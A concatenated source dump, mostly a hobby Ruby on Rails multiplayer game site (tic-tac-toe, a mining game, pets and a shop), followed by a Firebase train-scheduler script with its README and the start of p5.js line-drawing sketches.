ticturn: "It's " + @turn_user.profile.username + "'s turn.",
id: @tictactoe.id
end
end
end
redirect_to tictacto_path(@tictactoe)
end
private
def tictactoe_params
params.require(:tictactoe).permit(:x_id, :o_id, :id, :co, :button)
end
def find_tictactoe
@tictactoe = Tictactoe.find(params[:id])
end
def define_players
@user_x = User.find_by(id: @tictactoe.x_id)
@user_o = User.find_by(id: @tictactoe.o_id)
if @tictactoe.turn == "x"
@turn_user = @user_x
elsif @tictactoe.turn == "o"
@turn_user = @user_o
end
if logged_in?
if @current_user == @user_x
@current_user_mark = "x"
elsif @current_user == @user_o
@current_user_mark = "o"
end
end
end
def win_conditions
if @tictactoe.a1 != nil && @tictactoe.a1 == @tictactoe.a2 && @tictactoe.a1 == @tictactoe.a3
@winner = @tictactoe.a1
elsif @tictactoe.a1 != nil && @tictactoe.a1 == @tictactoe.b1 && @tictactoe.a1 == @tictactoe.c1
@winner = @tictactoe.a1
elsif @tictactoe.a1 != nil && @tictactoe.a1 == @tictactoe.b2 && @tictactoe.a1 == @tictactoe.c3
@winner = @tictactoe.a1
elsif @tictactoe.a2 != nil && @tictactoe.a2 == @tictactoe.b2 && @tictactoe.a2 == @tictactoe.c2
@winner = @tictactoe.a2
elsif @tictactoe.a3 != nil && @tictactoe.a3 == @tictactoe.b3 && @tictactoe.a3 == @tictactoe.c3
@winner = @tictactoe.a3
elsif@tictactoe.a3 != nil && @tictactoe.a3 == @tictactoe.b2 && @tictactoe.a3 == @tictactoe.c1
@winner = @tictactoe.a3
elsif @tictactoe.b1 != nil && @tictactoe.b1 == @tictactoe.b2 && @tictactoe.b1 == @tictactoe.b3
@winner = @tictactoe.b1
elsif @tictactoe.c1 != nil && @tictactoe.c1 == @tictactoe.c2 && @tictactoe.c1 == @tictactoe.c3
@winner = @tictactoe.c1
elsif @tictactoe.a1 != nil && @tictactoe.a2 != nil && @tictactoe.a3 != nil && @tictactoe.b1 != nil && @tictactoe.b2 != nil && @tictactoe.b3 != nil && @tictactoe.c1 != nil && @tictactoe.c2 != nil && @tictactoe.c3 != nil && @winner == nil
@winner = "none"
end
if @winner == "none"
flash[:tictactoe] = "Tie"
@tictactoe.a1 = nil
@tictactoe.a2 = nil
@tictactoe.a3 = nil
@tictactoe.b1 = nil
@tictactoe.b2 = nil
@tictactoe.b3 = nil
@tictactoe.c1 = nil
@tictactoe.c2 = nil
@tictactoe.c3 = nil
@tictactoe.turn = ['x', 'o'].sample
@tictactoe.save!
if @tictactoe.save
ActionCable.server.broadcast 'tictactoe_channel',
a1: nil,
a2: nil,
a3: nil,
b1: nil,
b2: nil,
b3: nil,
c1: nil,
c2: nil,
c3: nil,
id: @tictactoe.id,
ticturn: "It's " + @turn_user.profile.username + "'s turn.",
ticmessage: "<span class='winner'>It's a draw.</span>",
ticreload: "<button class='refresh' value='Play Again' onClick='window.location.reload();'>Play Again</button>"
end
@winner = nil
end
if @winner == "x" || @winner == "o"
if @winner == "x"
@user_winner = @user_x
elsif @winner == "o"
@user_winner = @user_o
end
flash[:tictactoe] = @user_winner.profile.username + " wins"
@tictactoe.increment!(:"#{@winner}_wins", 1)
@user_winner.increment!(:points, 10)
@tictactoe.turn = "x"
@tictactoe.a1 = nil
@tictactoe.a2 = nil
@tictactoe.a3 = nil
@tictactoe.b1 = nil
@tictactoe.b2 = nil
@tictactoe.b3 = nil
@tictactoe.c1 = nil
@tictactoe.c2 = nil
@tictactoe.c3 = nil
@tictactoe.save!
if @tictactoe.save
ActionCable.server.broadcast 'tictactoe_channel',
"#{@winner}_wincount": @tictactoe.send("#{@winner}_wins"),
a1: nil,
a2: nil,
a3: nil,
b1: nil,
b2: nil,
b3: nil,
c1: nil,
c2: nil,
c3: nil,
id: @tictactoe.id,
ticturn: "It's " + @turn_user.profile.username + "'s turn.",
ticmessage: "<span class='winner'>" + @user_winner.profile.username + " won.</span>",
ticreload: "<button class='refresh' value='Play Again' onClick='window.location.reload();'>Play Again</button>"
end
@winner = nil
end
end
end
<file_sep>/db/migrate/20190624194520_create_shopitems.rb
class CreateShopitems < ActiveRecord::Migration[5.2]
def change
create_table :shopitems do |t|
t.string :name
t.string :category
t.integer :shop_price
t.integer :sellback_price
t.string :color
t.string :material
t.string :quality
t.text :description
t.text :long_description
t.string :string1
t.string :string2
t.integer :integer1
t.integer :integer2
t.datetime :datetime1
t.datetime :datetime2
t.timestamps
end
end
end
<file_sep>/test/controllers/gamechats_controller_test.rb
require 'test_helper'
class GamechatsControllerTest < ActionDispatch::IntegrationTest
test "should get new" do
get gamechats_new_url
assert_response :success
end
test "should get index" do
get gamechats_index_url
assert_response :success
end
test "should get edit" do
get gamechats_edit_url
assert_response :success
end
test "should get show" do
get gamechats_show_url
assert_response :success
end
end
<file_sep>/app/controllers/profiles_controller.rb
class ProfilesController < ApplicationController
before_action :find_profile, only: %i[show edit update]
def new
@profile = Profile.new
end
def create
@profile = Profile.new(profile_params)
if @profile.save
redirect_back(fallback_location: root_path)
else
redirect_back(fallback_location: root_path)
msg = @profile.errors.full_messages
flash.now[:error] = msg
end
end
def edit; end
def update
if @profile.update(profile_params)
p 'profile successfully updated'
redirect_back(fallback_location: root_path)
else
msg = @profile.errors.full_messages
flash.now[:error] = msg
redirect_back(fallback_location: root_path)
end
end
def show
@profile = Profile.find(params[:id])
end
def index
@profiles = Profile.all
end
def destroy
@profile = Profile.find(params[:profile_id])
@profile.destroy
redirect_to register_path
end
private
def profile_params
params.require(:profile).permit(:color, :username, :desc, :online_at)
end
def find_profile
@profile = Profile.find(params[:id])
end
end
<file_sep>/test/controllers/tictactoea1_controller_test.rb
require 'test_helper'
class Tictactoea1ControllerTest < ActionDispatch::IntegrationTest
test "should get a2" do
get tictactoea1_a2_url
assert_response :success
end
test "should get a3" do
get tictactoea1_a3_url
assert_response :success
end
test "should get b1" do
get tictactoea1_b1_url
assert_response :success
end
test "should get b2" do
get tictactoea1_b2_url
assert_response :success
end
test "should get b3" do
get tictactoea1_b3_url
assert_response :success
end
test "should get c1" do
get tictactoea1_c1_url
assert_response :success
end
test "should get c2" do
get tictactoea1_c2_url
assert_response :success
end
test "should get c3" do
get tictactoea1_c3_url
assert_response :success
end
end
<file_sep>/app/assets/javascripts/application.js
// This is a manifest file that'll be compiled into application.js, which will include all the files
// listed below.
//
// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, or any plugin's
// vendor/assets/javascripts directory can be referenced here using a relative path.
//
// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
// compiled file. JavaScript code in this file should be added after the last require_* statement.
//
// Read Sprockets README (https://github.com/rails/sprockets#sprockets-directives) for details
// about supported directives.
//
//= require rails-ujs
//= require activestorage
//= require_tree .
//= require jstz
//= require jquery3
//= require jquery_ujs
console.log('js working');
window.addEventListener('load', function() {
var box = document.getElementById('lobbylist')
box.scrollTop = box.scrollHeight;
});
$(document).ready(function(){
document.getElementById('user_time_zone').value = jstz.determine().name();
})
var chatFocus = true;
function focusLobby() {
focusmodal.classList.remove("hidden");
chatFocus = true;
}
function focusGamechat() {
focusmodal.classList.remove("hidden");
chatFocus = true;
}
var lobbyOpen = true;
var gameChatOpen = true;
function collapseLobby() {
document.getElementById("lobbylist").classList.toggle("hidden");
document.getElementById("lobbyform").classList.toggle("hidden");
document.getElementById("lobby").classList.toggle("collapse");
lobbyOpen = !lobbyOpen;
if (lobbyOpen == true) {
document.getElementById("gamechat").classList.remove("lowergamechat");
}
if (lobbyOpen == false) {
document.getElementById("gamechat").classList.add("lowergamechat");
}
}
function collapseGamechat() {
var gamechatform = document.getElementById("gamechatform");
if (gamechatform) {
document.getElementById("gamechatform").classList.toggle("hidden");
document.getElementById("gamechat").classList.toggle("collapse");
if (lobbyOpen == false) {
document.getElementById("gamechat").classList.add("lowergamechat");
}
if (lobbyOpen == true) {
document.getElementById("gamechat").classList.remove("lowergamechat");
}
gameChatOpen = !gameChatOpen;
}
}
function removeScroll() {
var scrollbox = document.getElementById("scrollbox");
var minemap = document.getElementById("minemap");
if (scrollbox && minemap) {
scrollbox.classList.add("noscroll");
}
}
window.onload = function() {
if (screen.height < 800) {
collapseGamechat();
collapseLobby();
removeScroll();
}
var mapbox = document.getElementById('mapbox');
if (mapbox) {
mapbox.classList.remove('wait');
}
};
<file_sep>/db/migrate/20190615200731_change_column_default_back.rb
class ChangeColumnDefaultBack < ActiveRecord::Migration[5.2]
def change
change_column_default(:users, :email_confirmed, from: true, to: false)
end
end
<file_sep>/app/controllers/notifications_controller.rb
class NotificationsController < ApplicationController
before_action :find_notification, only: %i[show edit update]
def new
end
def create
if logged_in?
@notification = Notification.new(notification_params)
if @notification.save
@to_user = User.find_by(id: @notification.user_id)
@from_user = User.find_by(id: @notification.sender_id)
if @notification.points > 0 && @notification.points <= @from_user.points
@to_user.increment!(:points, @notification.points)
@from_user.decrement!(:points, @notification.points)
end
@notecount = @to_user.notifications.where(read: false).count
ActionCable.server.broadcast 'notifications_channel',
notecount: @notecount
redirect_to inbox_path
if @notification.points > 0
flash[:inbox] = "You successfully sent a message to " + @to_user.profile.username + " with " + @notification.points.to_s + " <i class='fas fa-coins gold'></i>"
else
flash[:inbox] = "You successfully sent a message to " + @to_user.profile.username + "."
end
else
redirect_to inbox_path
msg = @notification.errors.full_messages
flash.now[:error] = msg
end
end
end
def index
@lobbychats = Lobbychat.all.last(100)
if logged_in?
@lobbychat = @current_user.lobbychats.new
@notification = Notification.create
@friend = Friend.new
@friend_user_ids = []
@friend_usernames = []
@friends = @current_user.friends.where(accepted: true)
@friends.each do |friend|
@user = User.find_by(id: friend.recipient_id)
@friend_user_ids.push(@user.id)
@friend_usernames.push(@user.profile.username)
end
@friends_for_select = @friend_usernames.zip(@friend_user_ids)
@notifications = @current_user.notifications.all.order(created_at: :desc).paginate(page: params[:page], per_page: 10)
@unread_notifications = @notifications.where(read: false)
@unread_notifications.each do |note|
note.read = true
note.save!
end
end
end
def edit
end
def show
end
private
def notification_params
params.require(:notification).permit(:user_id, :sender_id, :read, :game, :game_id, :body, :points)
end
def find_notification
@notification = Notification.find(params[:id])
end
end
<file_sep>/app/mailers/user_mailer.rb
class UserMailer < ApplicationMailer
default :from => "<EMAIL>"
def registration_confirmation(user)
@user = user
mail(:to => "<#{user.email}>", :subject => "Registration Confirmation")
end
def password_reset(user)
@user = user
mail to: user.email, subject: "Password reset"
end
end
<file_sep>/test/controllers/mine_controller_test.rb
require 'test_helper'
class MineControllerTest < ActionDispatch::IntegrationTest
test "should get move" do
get mine_move_url
assert_response :success
end
test "should get dig" do
get mine_dig_url
assert_response :success
end
test "should get place" do
get mine_place_url
assert_response :success
end
end
<file_sep>/db/migrate/20190608171351_create_users.rb
class CreateUsers < ActiveRecord::Migration[5.2]
def change
create_table :users do |t|
t.string :email
t.string :username
t.string :password_digest
t.string :time_zone
t.boolean :email_confirmed, :default => false
t.string :confirm_token
t.string :reset_digest
t.datetime :reset_sent_at
t.boolean :admin, :default => false
t.boolean :banned_from_chat, :default => false
t.datetime :ban_until
t.integer :points, :default => 1000
t.integer :wins, :default => 0
t.integer :losses, :default => 0
t.datetime :time_since_daily_bonus, :default => DateTime.now
t.string :color, :default => '#000000'
t.timestamps
end
add_index :users, :email, unique: true
end
end
<file_sep>/app/models/user.rb
require 'bcrypt'
class User < ApplicationRecord
attr_accessor :remember_token, :activation_token, :reset_token
has_many :lobbychats
has_many :gamechats
has_many :notifications
has_one :profile
has_one :pictionary
has_one :mineplayer
has_many :friends
has_many :items
before_save :default_values
before_save { self.email = email.downcase }
def default_values
self.time_zone ||= "Eastern Time (US & Canada)"
end
has_secure_password
validates :time_zone, presence: true, length: { minimum: 3 }
validates :password, presence: true, length: { maximum: 32, minimum: 6 }
validates :email, presence: true, length: { maximum: 100 }
validates :password, confirmation: { case_sensitive: true }
before_commit :set_confirmation_token, only: %i[new create]
def self.digest(string)
cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST :
# BCRYPT::Engine.min_cost
BCrypt::Password.create(string, cost: cost)
end
def authenticated?(attribute, token)
digest = send("#{attribute}_digest")
return false if digest.nil?
BCrypt::Password.new(digest).is_password?(token)
end
def create
@user = User.new(user_params)
if @user.save
@user.set_confirmation_token
@user.save(validate: false)
UserMailer.registration_confirmation(@user).deliver_now
flash[:success] = "Please confirm your email address to continue.<br>Check your spam folder for an email from <EMAIL> and follow the link in that email."
else
flash[:error] = "Invalid, please try again"
render :new
end
end
# Sets the password reset attributes.
def create_reset_digest
self.reset_token = User.new_token
update_attribute(:reset_digest, User.digest(reset_token))
update_attribute(:reset_sent_at, Time.zone.now)
end
# Sends password reset email.
def send_password_reset_email
UserMailer.password_reset(self).deliver_now
end
# private
def email_activate
self.email_confirmed = true
self.confirm_token = nil
save!(:validate => false)
end
def set_confirmation_token
if self.confirm_token.blank?
self.confirm_token = SecureRandom.urlsafe_base64.to_s
end
end
def User.new_token
SecureRandom.urlsafe_base64.to_s
end
end
<file_sep>/db/migrate/20190718030442_create_mineplayers.rb
class CreateMineplayers < ActiveRecord::Migration[5.2]
def change
create_table :mineplayers do |t|
t.integer :user_id
t.integer :deltax
t.integer :deltay
t.string :coords
t.string :pickaxe
t.integer :axelvl
t.integer :speed
t.timestamps
end
end
end
<file_sep>/lib/tasks/scheduler.rake
desc "Deletes old chats"
task :delete_old_data => :environment do
puts "Deleting old data"
Lobbychat.where('created_at < ?', 14.days.ago).each do |post|
post.destroy
end
Tictactoe.where('updated_at < ?', 14.days.ago).each do |game|
game.destroy
end
puts "done."
end
desc "Gives all users 100 points and make pets hungry"
task :give_points => :environment do
puts "Giving everyone 100 points"
User.all.each do |user|
user.increment!(:points, 100)
end
@pets = Item.where(category: "pets")
@hatched_eggs = @pets.where.not(name: "Egg")
@hatched_eggs.where('datetime1 < ?', 6.hours.ago).or(@hatched_eggs.where(datetime1: nil)).each do |pet|
if pet.integer1 > 0
pet.decrement!(:integer1, 1)
end
end
puts "activating auto feeders"
@autofeeders = Item.where(name: "Automatic Pet Feeder")
@autofeeders.each do |feeder|
@pets = feeder.user.items.where(category: "pets").where.not(name: "Egg")
@hungrypets = []
@pets.each do |pet|
if pet.integer1 < pet.integer2
@hungrypets << pet
end
end
if feeder.integer1 >= @hungrypets.count
@hungrypets.each do |pet|
pet.increment!(:integer1, 1)
feeder.decrement!(:integer1, 1)
end
end
end
puts "done."
puts "spawning poop"
@poops = ["small", "small", "small", "medium"]
@fed_animals = @hatched_eggs.where('datetime1 > ?', 24.hours.ago)
@fed_animals.each do |animal|
@pooptype = @poops.sample
if @pooptype == "small"
Item.create(
user_id: animal.user_id,
name: "Small Poop",
category: "waste",
image: "small_poop.png",
shop_price: 0,
sellback_price: 0,
description: "Poop.",
long_description: "Poop.",
)
elsif @pooptype == "medium"
Item.create(
user_id: animal.user_id,
name: "Medium Poop",
category: "waste",
image: "medium_poop.png",
shop_price: 0,
sellback_price: 0,
description: "Poop.",
long_description: "Poop.",
)
end
end
puts "done."
end
desc "Activates user accounts"
task :activate_accounts => :environment do
puts "Activating inactive accounts"
User.all.where(email_confirmed: false).each do |user|
user.email_confirmed = true
user.save(validate: false)
end
puts "done."
end
desc "Creates the slot machine db"
task :build_slot => :environment do
puts "Making slot machine"
Slot.create(
jackpot: 1000,
biggest_prize: 0
)
puts "done."
end
desc "Build mine"
task :build_mine => :environment do
puts "Creating mine tiles"
@x_axis = (1..40).to_a
@y_axis = (1..300).to_a
@coords = []
@x_axis.each do |x|
@y_axis.each do |y|
Minetile.create(
xcoord: x,
ycoord: y,
coords: x.to_s + '_' + y.to_s
)
end
end
puts "done."
end
desc "Shape mine"
task :shape_mine => :environment do
puts "Changing mine tiles"
Minetile.all.each do |tile|
if tile.xcoord <= 15
tile.bgclass = "sky-background"
tile.fgclass = "empty"
if tile.xcoord <= 12
@nums = (1..20).to_a
@rand = @nums.sample
if @rand == 1
tile.bgclass = "sky-background bgcloud"
tile.fgclass = "empty"
end
end
if tile.xcoord == 15
@nums = (1..17).to_a
@rand = @nums.sample
if @rand == 3
tile.fgclass = "rock"
elsif @rand == 4 || @rand == 5
tile.fgclass = "wood"
else
tile.fgclass = "empty"
end
end
else
tile.bgclass = "cave-background"
@nums = (1..17).to_a
@rand = @nums.sample
if @rand == 3
tile.fgclass = "rock"
else
if tile.xcoord <= 30
tile.fgclass = "soil"
else
tile.fgclass = "soil2"
end
end
if tile.xcoord > 25
@nums = (1..35).to_a
@rand = @nums.sample
if @rand == 1
tile.fgclass = "ironore"
end
end
if tile.xcoord > 30
@nums = (1..50).to_a
@rand = @nums.sample
if @rand == 1
tile.fgclass = "silverore"
end
end
if tile.xcoord > 35
@nums = (1..60).to_a
@rand = @nums.sample
if @rand == 1
tile.fgclass = "goldore"
end
end
if tile.xcoord >= 38
@nums = (1..200).to_a
@rand = @nums.sample
if @rand == 1
tile.fgclass = "diamond"
end
end
if tile.xcoord == 16
@nums = (1..2).to_a
@rand = @nums.sample
if @rand == 1
tile.bgclass = "bggrass"
else
tile.bgclass = "cave-background"
end
end
if tile.xcoord == 40
tile.fgclass = "unbreakable"
end
end
tile.save!
end
puts "mine generated"
end
desc "Hatches the egg"
task :hatch_eggs => :environment do
puts "Hatching egg"
@pets = ["treehopper", "jerboa", "axolotl"]
@eggs = Item.where(name: "Egg")
@ready_eggs = @eggs.where('created_at < ?', 3.days.ago)
@egg_outcomes = []
@ready_eggs.each do |egg|
@pet = @pets.sample
if @pet == "treehopper"
Item.create(
user_id: egg.user_id,
name: "Treehopper",
category: "pets",
image: "treehopper.png",
shop_price: 0,
sellback_price: 3000,
description: "A treehopper.",
long_description: "A treehopper. Integer1 value of pet is current hunger and integer2 is max hunger. Datetime1 is time last fed.",
integer1: 0,
integer2: 1
)
elsif @pet == "jerboa"
Item.create(
user_id: egg.user_id,
name: "Jerboa",
category: "pets",
image: "jerboa.png",
shop_price: 0,
sellback_price: 3500,
description: "A jerboa.",
long_description: "A jerboa. Integer1 value of pet is current hunger and integer2 is max hunger. Datetime1 is time last fed.",
integer1: 0,
integer2: 2
)
elsif @pet == "axolotl"
Item.create(
user_id: egg.user_id,
name: "Axolotl",
category: "pets",
image: "axolotl.png",
shop_price: 0,
sellback_price: 4000,
description: "An axolotl.",
long_description: "An axolotl. Integer1 value of pet is current hunger and integer2 is max hunger. Datetime1 is time last fed.",
integer1: 0,
integer2: 3
)
end
egg.destroy!
@notification = Notification.create(
user_id: egg.user_id,
body: 'An egg has hatched in your inventory.',
game: 'egg',
)
@to_user = User.find_by(id: @notification.user_id)
@notecount = @to_user.notifications.where(read: false).count
ActionCable.server.broadcast 'notifications_channel',
notecount: @notecount
end
puts "done."
end
desc "adds items to shop"
task :add_shop_items => :environment do
puts "Populating shop"
Shopitem.create(
name: "Iron Pickaxe",
category: "pickaxes",
material: "steel",
image: "pickaxe_iron.png",
shop_price: 500,
sellback_price: 250,
description: "An iron pickaxe.",
long_description: "An iron pickaxe. Can mine rock. Integer1 value of pickaxe is level.",
integer1: 1
)
puts "done."
end
desc "storage for item data"
task :create_item => :environment do
puts "Populating shop"
Shopitem.create(
name: "Wooden Sword",
category: "weapons",
material: "wood",
quality: "starter",
image: "sword_wood.png",
shop_price: 500,
sellback_price: 250,
description: "A wooden sword.",
long_description: "A basic wooden sword. Integer1 value of weapons is attack power.",
integer1: 10
)
Shopitem.create(
name: "Iron Pickaxe",
category: "pickaxes",
material: "steel",
image: "pickaxe_iron.png",
shop_price: 500,
sellback_price: 250,
description: "An iron pickaxe.",
long_description: "An iron pickaxe. Can mine rock. Integer1 value of pickaxe is level.",
integer1: 1
)
Shopitem.create(
name: "Steel Pickaxe",
category: "pickaxes",
material: "steel",
image: "pickaxe_steel.png",
shop_price: 2000,
sellback_price: 1000,
description: "A steel pickaxe.",
long_description: "A steel pickaxe. Can mine iron ore. Integer1 value of pickaxe is level.",
integer1: 2
)
Shopitem.create(
name: "Titanium Pickaxe",
category: "pickaxes",
material: "titanium",
image: "pickaxe_titanium.png",
shop_price: 1000,
sellback_price: 500,
description: "A titanium pickaxe.",
long_description: "A titanium pickaxe. Can mine silver ore. Integer1 value of pickaxe is level.",
integer1: 3
)
Shopitem.create(
name: "Plum",
category: "food",
image: "plum.png",
shop_price: 10,
sellback_price: 5,
description: "A plum.",
long_description: "A plum. Integer1 value of food is the amount it reduces hunger.",
integer1: 5
)
Shopitem.create(
name: "Cassava Bread",
category: "food",
image: "cassava_bread.png",
shop_price: 200,
sellback_price: 100,
description: "Bread made from cassava flour.",
long_description: "Cassava bread. Integer1 value of food is the amount it reduces hunger.",
integer1: 100
)
Shopitem.create(
name: "Wood",
category: "mine",
image: "wood.png",
shop_price: "do not sell in shop?",
sellback_price: "calculate based on integer1",
description: "Wood",
long_description: "Wood. Integer1 for mined items is amount. Write code to generate sellback price based on this number.",
integer1: "generate based on number of item in inventory"
)
Shopitem.create(
name: "<NAME>",
category: "automator",
image: "pet_feeder.png",
shop_price: 10000,
sellback_price: 5000,
description: "Load food into this automatic pet feeder and it will feed all of your pets daily.",
long_description: "Load food into this automatic pet feeder and it will feed all of your pets daily. Integer1 is the amount of food in the feeder.",
integer1: 0,
string1: "pet_feeder_not_ready.png",
string2: "pet_feeder_loaded.png",
)
puts "done."
end
<file_sep>/app/models/minetile.rb
class Minetile < ApplicationRecord
end
<file_sep>/app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
protect_from_forgery unless: -> { request.format.json? }
include SessionsHelper
before_action :set_raven_context
before_action :who_is_on
before_action :i_am_on
private
def set_raven_context
Raven.user_context(id: session[:current_user_id]) # or anything else in session
Raven.extra_context(params: params.to_unsafe_h, url: request.url)
end
def who_is_on
@allrecentusers = Profile.all.where('online_at > ?', 1.hour.ago)
@thisweekusers = Profile.all.where('online_at > ?', 1.week.ago)
end
def i_am_on
if logged_in?
@current_user.profile.online_at = DateTime.now
@current_user.profile.save!
end
end
end
<file_sep>/db/migrate/20190612145922_create_tictactoes.rb
class CreateTictactoes < ActiveRecord::Migration[5.2]
def change
create_table :tictactoes do |t|
t.integer :x_id
t.integer :o_id
t.string :a1
t.string :b1
t.string :c1
t.string :a2
t.string :b2
t.string :c2
t.string :a3
t.string :b3
t.string :c3
t.integer :x_wins
t.integer :o_wins
t.timestamps
end
end
end
<file_sep>/test/controllers/tictactoe_controller_test.rb
require 'test_helper'
class TictactoeControllerTest < ActionDispatch::IntegrationTest
test "should get new" do
get tictactoe_new_url
assert_response :success
end
test "should get edit" do
get tictactoe_edit_url
assert_response :success
end
test "should get index" do
get tictactoe_index_url
assert_response :success
end
test "should get show" do
get tictactoe_show_url
assert_response :success
end
end
<file_sep>/app/models/blackjack.rb
class Blackjack < ApplicationRecord
end
<file_sep>/app/controllers/mine_controller.rb
class MineController < ApplicationController
def move
ActionCable.server.broadcast 'mineplayer_channel',
playerid: params[:playerid],
deltax: params[:deltax],
deltay: params[:deltay],
coords: params[:coords]
head :ok
@range = (1..5).to_a
@chance = @range.sample
if @chance == 1
@user = User.find_by(id: params[:playerid])
@player = @user.mineplayer
@deltax = params[:deltax]
@deltay = params[:deltay]
@coords = params[:coords]
@player.deltax = @deltax
@player.deltay = @deltay
@player.coords = @coords
@player.save!
end
end
def dig
ActionCable.server.broadcast 'minemap_channel',
coords: params[:coords],
changefrom: params[:changefrom],
changeto: params[:changeto]
head :ok
@tile = Minetile.find_by(coords: params[:coords])
@tile.fgclass = params[:changeto]
@tile.save!
end
def place
ActionCable.server.broadcast 'minemap_channel',
coords: params[:coords],
changefrom: params[:changefrom],
changeto: params[:changeto]
head :ok
@tile = Minetile.find_by(coords: params[:coords])
@tile.fgclass = params[:changeto]
@tile.save!
end
end
<file_sep>/db/migrate/20190624191252_rename_inventories_to_items.rb
class RenameInventoriesToItems < ActiveRecord::Migration[5.2]
def change
def self.up
rename_table :inventories, :items
end
def self.down
rename_table :inventories, :items
end
end
end
| 2fb551ff38947ecc8ceea246cc4f22997306f5a5 | [
"Markdown",
"JavaScript",
"Ruby"
] | 42 | Ruby | mwissig/crepuscular | 95e4eac67efeff549c628c0d2a28413559aea969 | e50cb67c5d77499e531c34f18c3081e257009bcd |
refs/heads/master | <repo_name>mczuckermann/TrainScheduler<file_sep>/assets/javascript/app.js
// Initialize Firebase
var config = {
apiKey: "<KEY>",
authDomain: "mz-train-scheduler2.firebaseapp.com",
databaseURL: "https://mz-train-scheduler2.firebaseio.com",
projectId: "mz-train-scheduler2",
storageBucket: "mz-train-scheduler2.appspot.com",
messagingSenderId: "89347452395"
};
firebase.initializeApp(config);
//=============
//FIREBASE LINK
//=============
//https://mz-train-scheduler2.firebaseio.com
var database = firebase.database();
// ==============
// EVENT LISTENER
// ==============
$("#submitButton").on("click", function () {
event.preventDefault();
var name = $("#inputName").val().trim();
var destination = $("#inputDestination").val().trim();
var time = $("#inputTime").val().trim();
var frequency = $("#inputFrequency").val().trim();
//=====================================================
var timeFormat = "HH:mm";
var firstTimeConverter = moment(time, timeFormat);
var currentTime = moment();
var firstTimeConverterString = firstTimeConverter.toString();
var diffTime = currentTime.diff(moment(firstTimeConverter), "minutes");
console.log("DIFFERENCE IN TIME: " + diffTime);
var remainder = diffTime % frequency;
console.log("Remainder: " + remainder);
var minutesTillTrain = frequency - remainder;
console.log("MINUTES TILL TRAIN: " + minutesTillTrain);
var nextArrival = currentTime.add(minutesTillTrain, "minutes");
var nextArrivalFormatted = moment(nextArrival).format("HH:mm");
console.log(nextArrivalFormatted);
//=====================================================
//=====================================================
if (name === "" || destination === "" || time === "" || frequency === "") {
alert("You need to fill in all the form information!");
// $("#emptyErrorDiv").text("You need to fill in all the form information!");
} else {
//STORE DATA IN FIREBASE
var trainEntry = database.ref().push({
trainName: name,
trainDestination: destination,
trainFrequency: frequency,
trainFirstTime: firstTimeConverterString
});
}
//RETURN TEXT FORM BOXES TO PLACEHOLDER TEXT
$("#inputName").val("");
$("#inputDestination").val("");
$("#inputTime").val("");
$("#inputFrequency").val("");
});
database.ref().on("child_added", function (childSnapshot) {
var currentTime = moment();
var trainName = childSnapshot.val().trainName;
var trainDestination = childSnapshot.val().trainDestination;
var trainFrequency = childSnapshot.val().trainFrequency;
var trainFirstTime = childSnapshot.val().trainFirstTime;
var diffTime = currentTime.diff(moment(trainFirstTime), "minutes");
var remainder = diffTime % trainFrequency;
var minutesTillTrain = trainFrequency - remainder;
var nextArrival = currentTime.add(minutesTillTrain, "minutes");
var nextArrivalFormatted = moment(nextArrival).format("HH:mm");
var trainNextArrival = nextArrivalFormatted;
var trainMinutesAway = minutesTillTrain;
//ADD ROW TO TABLE
var tableBody = $("tbody");
var tableRow = $("<tr>").append(
$("<td>").text(trainName),
$("<td>").text(trainDestination),
$("<td>").text(trainFrequency),
$("<td>").text(trainNextArrival),
$("<td>").text(trainMinutesAway),
);
tableBody.append(tableRow);
// HANDLE THE ERRORS
function errorsHandled(errorObject) {
console.log("Errors handled: " + errorObject.code);
}
});
setInterval(function () {
database.ref().on("value", function (childSnapshot) {
var currentTime = moment();
var trainName = childSnapshot.val().trainName;
var trainDestination = childSnapshot.val().trainDestination;
var trainFrequency = childSnapshot.val().trainFrequency;
var trainFirstTime = childSnapshot.val().trainFirstTime;
var diffTime = currentTime.diff(moment(trainFirstTime), "minutes");
var remainder = diffTime % trainFrequency;
var minutesTillTrain = trainFrequency - remainder;
var nextArrival = currentTime.add(minutesTillTrain, "minutes");
var nextArrivalFormatted = moment(nextArrival).format("HH:mm");
var trainNextArrival = nextArrivalFormatted;
var trainMinutesAway = minutesTillTrain;
//ADD ROW TO TABLE
var tableBody = $("tbody");
var tableRow = $("<tr>").append(
$("<td>").text(trainName),
$("<td>").text(trainDestination),
$("<td>").text(trainFrequency),
$("<td>").text(trainNextArrival),
$("<td>").text(trainMinutesAway),
);
tableBody.append(tableRow);
// HANDLE THE ERRORS
function errorsHandled(errorObject) {
console.log("Errors handled: " + errorObject.code);
}
});
}, 600000);<file_sep>/README.md
# Train-Scheduler_Moment.js-Firebase
## Purpose Of App:
This app provides several forms to input data of that which would resemble a departure screen at a train station. The app takes the information that jQuery links to within the DOM and places it in the Firebase database. Upon reload, a function within the app will loop through such data pieces and use them to calculate how many minutes away the next train is and at what time such train will arrive.
---
### Text Walk Through:
Simply fill out the forms for "Train Name," "Destination," "First Train Time," and "Frequency." Once this is finished, hit the submit button to run the function that pushes the form data to the database.
---
### GIF Demonstration of App:
<img src="https://media.giphy.com/media/2yzEP8yRUe8sQO80GE/giphy.gif" alt="Gif Demonstration of App" width=100%>
---
### Deployment
My deployed project can be seen on Heroku at the link [here](https://mczuckermann.github.io/Train-Scheduler_Moment.js-Firebase/).
---
| e7ea976d2ebd019387db2d53eacaf6beec19c621 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | mczuckermann/TrainScheduler | dab16f9e73d5a6ec6e9b8650db93db36eea61686 | 1af40960c20cfcc0494c34e9fdd00355c143a63c |
refs/heads/master | <repo_name>wolf-dominion/solving-sol<file_sep>/630/script.js
// declaring variables
var canvasWidth = 400;
var canvasHeight = 400;
var canvasColor;
var complete = 0;
function setup() {
frameRate(10);
canvasColor = color(0);
createCanvas(canvasWidth,canvasHeight);
background(canvasColor);
}
function draw() {
var start = 0;
var midpoint = 200;
var end = 400;
stroke(255);
if (complete === 0) // this is to make sure the curved lines are not all the same color
{
stroke(255);
// alternating black and white lines on top half
for(var L = 0; L < 220; L += 20)
{
strokeWeight(8);
line(start,start+L,end,start+L);
line(start+L,midpoint,start+L,end);
line(midpoint+L,midpoint,midpoint+L,end)
}
complete = 1;
}
}<file_sep>/README.md
# solving-sol
Javascript class project
<file_sep>/88/script.js
// declaring variables
var canvasWidth = 400;
var canvasHeight = 400;
var canvasColor;
var complete = 0;
function setup() {
frameRate(10);
canvasColor = color(0);
